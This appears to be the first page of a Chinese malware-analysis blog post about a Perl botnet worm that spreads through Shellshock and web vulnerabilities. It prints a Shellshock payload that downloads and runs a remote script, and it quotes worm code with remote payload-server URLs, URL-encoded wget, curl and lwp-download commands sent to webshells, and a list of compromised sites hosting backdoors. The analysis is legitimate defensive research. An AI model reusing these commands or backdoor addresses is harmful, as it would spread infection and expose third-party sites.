感染后的bot会从服务端接收指令,进行ddos攻击,漏洞扫描感染其他主机,作为http proxy,生成irc服务端等等。分析发现已经感染的主机里作为web proxy的网站已达1000个,后续我会把涉及的所有源码分享(包括臭名昭著的phpmyadmin蠕虫zmeu)。
0×01 起因
翻看vps web日志时候看到了攻击迹象,有zmeu的useragent,有shellshock的payload。
然后顺藤摸瓜getshell了一个bot(通过wordpress的一个漏洞下载数据库配置文件,用数据库密码成功登录wordpress,但是没有安装插件权限,在修改文章的地方插入insertphp插件解析的php代码,韩语的折腾了1个多小时)。
在网站目录里找到一个功能很强大的php大马,支持bypass safe mode,安装代理等等,所以决定深入挖掘。
在这个bot上下载的一些源码,发现了触目惊心的cc程序。
0×02 分析
这个蠕虫仅仅pl脚本部分代码已达上万行,所以分析不当的地方请指出。bot节点一旦扫描出某个服务器存在漏洞,就在该漏洞主机上下载控制脚本并执行,这个主机就沦为一个bot,最后会给控制者发送一封邮件注册该被控主机。例如shellshock的payload
() { :;};/usr/bin/perl -e 'print \content-type: text/plain\\r\\n\\r\\nxsuccess!\;
system(\wget http://xxxserver.com/shell.txt -o /tmp/shell.txt;curl -o /tmp/shell.txt http:// xxxserver.com/shell.txt;
perl /tmp/shell.txt ; rm -rf shell.txt \);'
我们从web漏洞感染做为主线分析一下流程。为了简明我会把一些代码省略掉。
初始化远程下载服务器地址:
my $rceinjector = http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php;
my $rceinjector2 = http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php;
#my $arbitrary = http://www.handelwpolsce.pl/images/sport/rce.php;
#my $hostinjector = wordpress.com.longlifeweld.com.my;
my $thumbid = http://.$hostinjector./petx.php;
my $thumbidx = http://.$hostinjector./cpx.php;
linux 下载指令,通过web参数传递的,bot成功利用漏洞getshell后,会把这些下载被控端脚本的指令发送给webshell。
my $wgetdon = ?cmd=wget%20http%3a%2f%2f.$hostinjector.%2fmagic.php;wget%20http%3a%2f%2f.$hostinjector.%2fbtx.php;wget%20http%3a%2f%2f.$hostinjector.%2fmagic1.php;
my $lwpdon = ?cmd=lwp-download%20-a%20http%3a%2f%2f.$hostinjector.%2fmagic.php;lwp-download%20-a%20http%3a%2f%2f.$hostinjector.%2fbtx.php;lwp-download%20-a%20http%3a%2f%2f.$hostinjector.%2fcpx.php;
my $curldon = ?cmd=curl%20-c%20-%20-o%20http%3a%2f%2f.$hostinjector.%2fmagic.php;curl%20-c%20-%20-o%20http%3a%2f%2f.$hostinjector.%2fbtx.php;curl%20-c%20-%20-o%20http%3a%2f%2f.$hostinjector.%2fcpx.php;
初始化1000个web代理后门地址,为后边批量采集做准备
my @randombarner= (http://www.lesyro.cz/administrator/components/com_media/helpers/errors.php,
http://www.villaholidaycentre.co.uk/includes/js/calendar/lang/seka.php,
http://viewwebinars.com/wp-includes/errors.php,
http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php,
http://www.linuxcompany.nl/modules/mod_login/error.php,
http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php,
http://liftoffconsulting.ca/wp-includes/errors.php,
http://www.voileenligne.com/audio/komo.php,
http://www.gingerteastudio.com//wp-content/uploads/components/search.php,
www.audiovisionglobal.pe/online/includes/js/calendar/lang/search.php,
[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] 下一页
